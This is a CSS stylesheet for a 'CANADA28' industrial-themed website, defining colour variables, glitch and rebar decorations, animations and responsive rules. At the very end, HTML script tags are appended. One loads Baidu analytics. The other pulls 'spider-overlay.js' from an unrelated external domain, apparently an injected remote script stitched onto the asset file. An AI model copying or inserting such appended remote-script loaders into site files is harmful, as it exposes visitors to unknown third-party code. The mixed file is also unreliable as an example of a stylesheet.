﻿/* ============================================================
   CANADA28 - Post-Apocalyptic Industrial Theme
   Colors: rust(#8b4513, #b7410e), orange(#ff6b35)
   Dark bg(#1a1410), concrete gray
   ============================================================ */

/* ---------- CSS Variables ---------- */
:root {
    --bunker: #1a1410;
    --hazard: #ff6b35;
    --hazard-dark: #e55d2b;
    --rust: #8b4513;
    --rust-light: #b7410e;
    --concrete: #2c2c2c;
    --concrete-light: #3d3d3d;
    --steel: #4a4a4a;
    --ash: #8a8a8a;
}

/* ---------- Scrollbar (Industrial) ---------- */
::-webkit-scrollbar {
    width: 8px;
}
::-webkit-scrollbar-track {
    background: var(--bunker);
}
::-webkit-scrollbar-thumb {
    background: var(--hazard);
    border-radius: 0;
}
::-webkit-scrollbar-thumb:hover {
    background: var(--hazard-dark);
}

/* ---------- Selection ---------- */
::selection {
    background: var(--hazard);
    color: var(--bunker);
}

/* ---------- Smooth Scroll ---------- */
html {
    scroll-behavior: smooth;
}

/* ---------- Warning Tape Pattern ---------- */
.warning-tape {
    background: repeating-linear-gradient(
        45deg,
        var(--hazard) 0px,
        var(--hazard) 10px,
        var(--bunker) 10px,
        var(--bunker) 20px,
        var(--hazard) 20px,
        var(--hazard) 25px
    );
}

/* ---------- Rebar Line Decoration ---------- */
.rebar-line {
    background: linear-gradient(
        90deg,
        transparent 0%,
        var(--rust) 5%,
        var(--hazard) 15%,
        var(--rust-light) 25%,
        var(--hazard) 50%,
        var(--rust-light) 75%,
        var(--hazard) 85%,
        var(--rust) 95%,
        transparent 100%
    );
    position: relative;
}
.rebar-line::before {
    content: '';
    position: absolute;
    top: -2px;
    left: 0;
    width: 100%;
    height: 5px;
    background: repeating-linear-gradient(
        90deg,
        transparent 0px,
        transparent 30px,
        var(--steel) 30px,
        var(--steel) 32px
    );
    opacity: 0.4;
}
.rebar-decoration {
    position: relative;
}
.rebar-decoration::after {
    content: '| | | | | | | | | | | | | | | |';
    position: absolute;
    top: -8px;
    left: 50%;
    transform: translateX(-50%);
    font-size: 6px;
    color: var(--hazard);
    letter-spacing: 4px;
    opacity: 0.5;
    white-space: nowrap;
}

/* ---------- RGB Split Border ---------- */
.rgb-split-border {
    position: relative;
}
.rgb-split-border::before {
    content: '';
    position: absolute;
    top: -3px;
    left: -3px;
    right: -3px;
    bottom: -3px;
    background: transparent;
    border: 2px solid var(--hazard);
    z-index: -1;
    animation: rgbSplitGlitch 3s infinite;
}
.rgb-split-border::after {
    content: '';
    position: absolute;
    top: 0px;
    left: 2px;
    right: -4px;
    bottom: -2px;
    border: 1px solid var(--rust);
    z-index: -1;
    animation: rgbSplitGlitch 3s infinite 0.3s;
}
@keyframes rgbSplitGlitch {
    0%, 70%, 100% { transform: translate(0, 0); opacity: 0.6; }
    72% { transform: translate(1px, -1px); opacity: 0.8; }
    74% { transform: translate(-1px, 1px); opacity: 0.8; }
    76% { transform: translate(0, 0); opacity: 0.6; }
}

/* ---------- Glitch Text Effect ---------- */
.glitch-text {
    position: relative;
    display: inline-block;
}
.glitch-text::before,
.glitch-text::after {
    content: attr(data-text);
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0.3;
}
.glitch-text::before {
    color: var(--hazard);
    z-index: -1;
    animation: glitchShift 2s infinite;
}
.glitch-text::after {
    color: var(--rust-light);
    z-index: -2;
    animation: glitchShift 2s infinite 0.4s;
}
@keyframes glitchShift {
    0%, 80%, 100% { transform: translate(0); }
    82% { transform: translate(-1px, 0); }
    84% { transform: translate(1px, 0); }
    86% { transform: translate(0); }
}

/* ---------- Concrete Texture ---------- */
.concrete-texture {
    background-image:
        radial-gradient(circle at 20% 50%, rgba(255,107,53,0.03) 0%, transparent 50%),
        radial-gradient(circle at 80% 20%, rgba(139,69,19,0.03) 0%, transparent 50%),
        radial-gradient(circle at 50% 80%, rgba(255,107,53,0.02) 0%, transparent 50%);
}

/* ---------- Grid Pattern ---------- */
.grid-pattern {
    background-image:
        linear-gradient(rgba(255,107,53,0.03) 1px, transparent 1px),
        linear-gradient(90deg, rgba(255,107,53,0.03) 1px, transparent 1px);
    background-size: 40px 40px;
}

/* ---------- Rebar Border for Buttons ---------- */
.rebar-border {
    position: relative;
    overflow: visible;
}
.rebar-border::after {
    content: '';
    position: absolute;
    bottom: -5px;
    left: 10%;
    width: 80%;
    height: 3px;
    background: repeating-linear-gradient(
        90deg,
        var(--rust) 0px,
        var(--rust) 15px,
        transparent 15px,
        transparent 20px
    );
}

/* ---------- Feature Card Hover ---------- */
.feature-card:hover {
    transform: translateY(-4px);
    box-shadow: 0 8px 30px rgba(255,107,53,0.1),
                inset 0 1px 0 rgba(255,107,53,0.1);
}

/* ---------- Stat Card ---------- */
.stat-card {
    transition: all 0.3s ease;
}
.stat-card:hover {
    border-color: var(--hazard);
    box-shadow: 0 0 20px rgba(255,107,53,0.1);
}

/* ---------- FAQ Accordion ---------- */
.faq-item .faq-toggle i {
    transition: transform 0.3s ease;
}
.faq-item.active .faq-toggle i {
    transform: rotate(45deg);
}
.faq-content {
    overflow: hidden;
    max-height: 0;
    transition: max-height 0.4s ease, padding 0.4s ease;
}
.faq-item.active .faq-content {
    max-height: 300px;
}

/* ---------- Navbar Scroll Effect ---------- */
#navbar.scrolled {
    background: rgba(26, 20, 16, 0.98);
    box-shadow: 0 4px 20px rgba(0,0,0,0.5),
                0 1px 0 rgba(255,107,53,0.2);
}

/* ---------- Mobile Menu ---------- */
#mobileMenu.show {
    display: block;
    animation: slideDown 0.3s ease;
}
@keyframes slideDown {
    from { max-height: 0; opacity: 0; }
    to { max-height: 400px; opacity: 1; }
}

/* ---------- Intersection Observer Animations ---------- */
.fade-in {
    opacity: 0;
    transform: translateY(30px);
    transition: opacity 0.7s ease, transform 0.7s ease;
}
.fade-in.visible {
    opacity: 1;
    transform: translateY(0);
}

.fade-in-left {
    opacity: 0;
    transform: translateX(-40px);
    transition: opacity 0.7s ease, transform 0.7s ease;
}
.fade-in-left.visible {
    opacity: 1;
    transform: translateX(0);
}

.fade-in-right {
    opacity: 0;
    transform: translateX(40px);
    transition: opacity 0.7s ease, transform 0.7s ease;
}
.fade-in-right.visible {
    opacity: 1;
    transform: translateX(0);
}

/* ---------- Counter Animation ---------- */
.counter {
    font-variant-numeric: tabular-nums;
}

/* ---------- Pulse Dot ---------- */
@keyframes pulseDot {
    0%, 100% { opacity: 1; }
    50% { opacity: 0.3; }
}

/* ---------- Form Focus Effects ---------- */
input:focus, textarea:focus {
    box-shadow: 0 0 15px rgba(255,107,53,0.15);
}

/* ---------- Warning Border Animation ---------- */
@keyframes warningPulse {
    0%, 100% { border-color: var(--hazard); }
    50% { border-color: var(--rust-light); }
}

/* ---------- Responsive Tweaks ---------- */
@media (max-width: 768px) {
    .glitch-text {
        font-size: 1rem;
    }
    .rebar-decoration::after {
        display: none;
    }
}

/* ---------- Print Styles ---------- */
@media print {
    body { background: white; color: black; }
    .warning-tape, .rebar-line { display: none; }
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

